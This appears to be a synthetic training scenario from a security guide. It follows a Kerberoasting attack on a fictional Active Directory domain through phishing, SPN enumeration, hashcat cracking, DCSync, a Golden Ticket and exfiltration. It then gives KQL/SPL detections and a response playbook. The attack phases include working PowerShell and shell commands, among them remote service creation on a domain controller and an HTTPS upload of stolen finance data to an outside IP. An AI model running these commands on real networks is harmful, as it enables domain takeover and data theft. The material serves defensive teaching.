SC-046: Active Directory Kerberoasting Campaign¶
Scenario Overview¶
A threat actor gains initial access to a corporate network through a phishing email, obtains credentials for a low-privilege domain user, and performs a Kerberoasting attack against Active Directory. By requesting TGS tickets for service accounts with SPNs and cracking them offline, the attacker recovers the password for a SQL service account with Domain Admin privileges. The attacker then moves laterally via SMB to domain controllers and establishes persistence through a Golden Ticket.
Environment: On-premises Active Directory domain (corp.example.com, Windows Server 2022) Initial Access: Phished credentials for low-privilege domain user Impact: Full domain compromise, Domain Admin access, Golden Ticket persistence Difficulty: Intermediate Sector: Financial Services
Attack Timeline¶
| Timestamp (UTC) | Phase | Action |
|---|---|---|
| 2026-03-12 09:15:22 | Initial Access | Attacker logs in via VPN with phished credentials |
| 2026-03-12 09:18:47 | Discovery | Enumerates domain users, groups, and SPNs |
| 2026-03-12 09:22:33 | Credential Access | Requests TGS tickets for all accounts with SPNs |
| 2026-03-12 09:24:15 | Credential Access | Exports tickets and begins offline cracking |
| 2026-03-12 11:42:08 | Credential Access | Cracks password for svc-sqlprod service account |
| 2026-03-12 11:45:33 | Privilege Escalation | Authenticates as svc-sqlprod (member of Domain Admins) |
| 2026-03-12 11:48:19 | Lateral Movement | Connects to DC01 via SMB using Domain Admin credentials |
| 2026-03-12 11:52:44 | Credential Access | Performs DCSync to extract KRBTGT hash |
| 2026-03-12 11:56:11 | Persistence | Forges Golden Ticket for long-term access |
| 2026-03-12 12:03:27 | Collection | Exfiltrates sensitive financial data from file shares |
Technical Analysis¶
Phase 1: Initial Access — Phished Credentials¶
The attacker sends a targeted phishing email to jsmith@corp.example.com with a link to a credential harvesting page at https://login-corp.example.com/auth. The user enters their domain credentials (CORP\jsmith / REDACTED).
# Attacker's phishing infrastructure (synthetic)
Phishing domain: login-corp.example.com
Hosting IP: 198.51.100.23
SSL cert: Let's Encrypt (issued 2026-03-11)
Domain age: 1 day
The attacker authenticates to the corporate VPN:
# VPN authentication from attacker IP
Source IP: 203.0.113.77
Username: CORP\jsmith
Authentication: Success
VPN Gateway: vpn.corp.example.com
Assigned IP: 10.10.50.215
Phase 2: Discovery — SPN Enumeration¶
With a valid domain account, the attacker enumerates Service Principal Names (SPNs) to identify Kerberoastable accounts.
# PowerShell SPN enumeration (attacker workstation)
# Using built-in .NET classes — no special tools required
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","memberof","pwdlastset"))
$results = $searcher.FindAll()
# Results discovered:
# svc-sqlprod | MSSQLSvc/sql01.corp.example.com:1433 | Domain Admins | pwdLastSet: 2024-06-15
# svc-web | HTTP/web01.corp.example.com | Web Admins | pwdLastSet: 2025-01-20
# svc-backup | cifs/backup01.corp.example.com | Backup Ops | pwdLastSet: 2025-08-10
# svc-exchange | exchangeMDB/ex01.corp.example.com | Exchange Admins| pwdLastSet: 2025-11-03
Key finding: svc-sqlprod is a member of Domain Admins and its password has not been changed since June 2024 — a high-value Kerberoasting target.
Phase 3: Credential Access — Kerberoasting¶
The attacker requests TGS tickets for all discovered SPNs. Any authenticated domain user can request these tickets — this is by design in the Kerberos protocol.
# Request TGS tickets using built-in Windows tools
# Each request triggers Event ID 4769 on the DC
Add-Type -AssemblyName System.IdentityModel
$spns = @(
"MSSQLSvc/sql01.corp.example.com:1433",
"HTTP/web01.corp.example.com",
"cifs/backup01.corp.example.com",
"exchangeMDB/ex01.corp.example.com"
)
foreach ($spn in $spns) {
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList $spn
# Ticket is now in memory — can be exported
}
# Export tickets from memory and save to disk
# Using Invoke-Kerberoast equivalent (reconstructed from forensics)
# Tickets exported in hashcat-compatible format
# Example hash (synthetic — not a real crackable hash):
$krb5tgs$23$*svc-sqlprod$CORP.EXAMPLE.COM$MSSQLSvc/sql01.corp.example.com:1433*$REDACTED_HASH_DATA
Phase 4: Offline Password Cracking¶
The attacker cracks the TGS tickets offline. Because svc-sqlprod uses RC4 encryption (NTLM-based), cracking is significantly faster than AES-encrypted tickets.
# Offline cracking (attacker's own hardware — no network detection possible)
# RC4 tickets are orders of magnitude faster to crack than AES256
hashcat -m 13100 tgs_hashes.txt wordlist.txt -r rules/best64.rule
# Results (synthetic):
# svc-sqlprod: Summer2024! (cracked in ~2.5 hours)
# svc-web: [not cracked] (AES256 encryption)
# svc-backup: [not cracked] (AES256 encryption)
# svc-exchange: [not cracked] (complex password)
Phase 5: Privilege Escalation — Domain Admin¶
# Attacker authenticates as svc-sqlprod (Domain Admin)
runas /netonly /user:CORP\svc-sqlprod cmd.exe
# Password: REDACTED
# Verify Domain Admin access
net group "Domain Admins" /domain
# svc-sqlprod is confirmed as Domain Admin
Phase 6: Lateral Movement — SMB to Domain Controller¶
# Connect to DC01 via SMB
net use \\dc01.corp.example.com\C$ /user:CORP\svc-sqlprod REDACTED
# Execute commands on DC via remote service creation
sc \\dc01.corp.example.com create backdoor-svc binPath= "cmd /c whoami > C:\temp\out.txt"
sc \\dc01.corp.example.com start backdoor-svc
Phase 7: DCSync and Golden Ticket¶
# DCSync attack — extracts password hashes via Directory Replication
# Mimics domain controller replication (MS-DRSR protocol)
# Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
# Extracted (synthetic):
# KRBTGT account NTLM hash: REDACTED_KRBTGT_HASH
# Domain SID: S-1-5-21-REDACTED
# Golden Ticket forgery
# Ticket grants access as any user for the lifetime of the KRBTGT key
# Default KRBTGT password change: never (in many environments)
Phase 8: Data Exfiltration¶
# Access sensitive file shares with Domain Admin credentials
dir \\fileserver01.corp.example.com\Finance$ /s
# Exfiltrate quarterly financial reports
robocopy \\fileserver01.corp.example.com\Finance$ C:\temp\exfil /E /Z
# Stage data for exfiltration
Compress-Archive -Path C:\temp\exfil -DestinationPath C:\temp\data.zip
# Exfiltrate via HTTPS
Invoke-WebRequest -Uri "https://203.0.113.88/upload" `
-Method POST -InFile C:\temp\data.zip
Detection Opportunities¶
KQL — Kerberoasting Detection (RC4 TGS Requests)¶
// Detect TGS requests using RC4 encryption (0x17) — strong Kerberoasting indicator
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4-HMAC
| where ServiceName !endswith "$" // Exclude machine accounts
| where ServiceName !in ("krbtgt") // Exclude krbtgt
| summarize
TicketCount = count(),
UniqueServices = dcount(ServiceName),
Services = make_set(ServiceName),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by AccountName = TargetUserName, ClientIP = IpAddress
| where TicketCount > 3 or UniqueServices > 2
| sort by TicketCount desc
KQL — Abnormal TGS Request Volume¶
// Detect users requesting an unusual number of TGS tickets in a short window
SecurityEvent
| where EventID == 4769
| where ServiceName !endswith "$"
| bin TimeGenerated span=10m
| summarize
RequestCount = count(),
UniqueServices = dcount(ServiceName),
ServiceList = make_set(ServiceName, 20)
by TargetUserName, IpAddress, bin(TimeGenerated, 10m)
| where RequestCount > 5
| sort by RequestCount desc
KQL — DCSync Detection¶
// Detect Directory Replication requests from non-DC sources
SecurityEvent
| where EventID == 4662
| where OperationType == "Object Access"
| where Properties has "DS-Replication-Get-Changes"
| extend AccountName = SubjectUserName
| join kind=leftanti (
// Exclude known domain controllers
SecurityEvent
| where EventID == 4624
| where TargetUserName endswith "$"
| where LogonType == 3
| distinct Computer
) on $left.Computer == $right.Computer
| project TimeGenerated, AccountName, Computer, Properties
| sort by TimeGenerated desc
SPL — Kerberoasting Detection¶
index=wineventlog EventCode=4769 Ticket_Encryption_Type=0x17
Service_Name!="krbtgt" Service_Name!="*$"
| stats count as ticket_count
dc(Service_Name) as unique_services
values(Service_Name) as services
earliest(_time) as first_seen
latest(_time) as last_seen
by Account_Name Client_Address
| where ticket_count > 3 OR unique_services > 2
| sort -ticket_count
| convert ctime(first_seen) ctime(last_seen)
SPL — Bulk TGS Requests in Short Window¶
index=wineventlog EventCode=4769 Service_Name!="*$"
| bin _time span=10m
| stats count as request_count
dc(Service_Name) as unique_services
values(Service_Name) as service_list
by Account_Name Client_Address _time
| where request_count > 5
| sort -request_count
SPL — SMB Lateral Movement to Domain Controllers¶
index=wineventlog EventCode=4624 Logon_Type=3
dest_category="domain_controller"
| stats count by src_ip Account_Name dest
| lookup dc_list dest as dest OUTPUT is_dc
| where is_dc="true"
| where NOT match(Account_Name, "\$$")
| sort -count
SPL — DCSync Replication Activity¶
index=wineventlog EventCode=4662
Properties="*DS-Replication-Get-Changes*"
| stats count by SubjectUserName src_ip
| lookup domain_controllers ip as src_ip OUTPUT is_dc
| where NOT is_dc="true"
| table _time SubjectUserName src_ip count
| sort -_time
Response Playbook¶
Immediate Containment (0-30 minutes)¶
- Disable compromised accounts: Disable
jsmithandsvc-sqlprodin Active Directory immediately - Reset the KRBTGT password TWICE: This invalidates all Golden Tickets (two resets required due to password history)
- Block attacker IPs: Add 203.0.113.77 and 203.0.113.88 to firewall deny lists
- Disconnect VPN session: Terminate any active VPN sessions for the compromised account
- Isolate affected systems: Network-isolate the workstation assigned IP 10.10.50.215
Eradication (30 minutes - 4 hours)¶
- Reset ALL service account passwords — every account with an SPN
- Audit Domain Admins group for unauthorized members
- Review all ClusterRoleBindings and AD group memberships changed during the attack window
- Remove attacker-created services on DC01 (
backdoor-svc) - Scan for additional persistence: scheduled tasks, registry run keys, WMI subscriptions
- Force password reset for all accounts that authenticated during the attack window
Recovery (4-48 hours)¶
- Enforce AES-only Kerberos encryption for all service accounts (disable RC4)
- Implement Group Managed Service Accounts (gMSAs) to eliminate static passwords
- Remove service accounts from privileged groups — use constrained delegation instead
- Deploy Microsoft ATA/Defender for Identity for Kerberoasting detection
- Implement tiered administration model (Tier 0/1/2 separation)
- Enable Protected Users security group for privileged accounts
- Set up automatic service account password rotation (maximum 30-day lifecycle)
MITRE ATT&CK Mapping¶
| Tactic | Technique ID | Technique Name | Scenario Phase |
|---|---|---|---|
| Initial Access | T1566.002 | Phishing: Spearphishing Link | Credential harvesting page |
| Credential Access | T1558.003 | Steal Kerberos Tickets: Kerberoasting | TGS ticket request/cracking |
| Discovery | T1087.002 | Account Discovery: Domain Account | SPN enumeration |
| Privilege Escalation | T1078 | Valid Accounts | svc-sqlprod Domain Admin |
| Lateral Movement | T1021.002 | Remote Services: SMB/Windows Admin Shares | SMB to DC01 |
| Credential Access | T1003.006 | OS Credential Dumping: DCSync | KRBTGT hash extraction |
| Persistence | T1558.001 | Steal Kerberos Tickets: Golden Ticket | Forged TGT |
| Collection | T1039 | Data from Network Shared Drive | Finance share access |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | HTTPS upload |
Lessons Learned¶
-
Service accounts in privileged groups are critical risks: The
svc-sqlprodaccount should never have been a member of Domain Admins. Service accounts should follow least-privilege principles with constrained delegation. -
RC4 encryption enables fast offline cracking: Disabling RC4 (etype 23) and enforcing AES256 (etype 18) increases the computational cost of Kerberoasting by several orders of magnitude.
-
Any domain user can Kerberoast: This is a protocol-level behavior, not a vulnerability. The defense must focus on making service account passwords resistant to offline cracking (long, complex, rotated) or eliminating them entirely (gMSAs).
-
KRBTGT password rotation is critical hygiene: Many organizations have never rotated the KRBTGT password. This should be done at least every 180 days, and immediately after any suspected compromise.
-
Monitoring Event ID 4769 with RC4 encryption is a high-fidelity detection: Legitimate services overwhelmingly use AES encryption. RC4 TGS requests for user accounts are almost always malicious.
-
VPN access with single-factor authentication is insufficient: Multi-factor authentication on VPN gateways would have prevented the initial access in this scenario.
Cross-References¶
- Chapter 33: Identity & Access Security — Kerberos authentication, AD security, privileged access management
- Chapter 5: Detection Engineering at Scale — Building detection rules for credential access techniques
- SC-023: Credential Stuffing & Password Spraying — Related credential attack scenario
- Purple Team PT-045: Kerberoasting Detection — Hands-on Kerberoasting detection exercise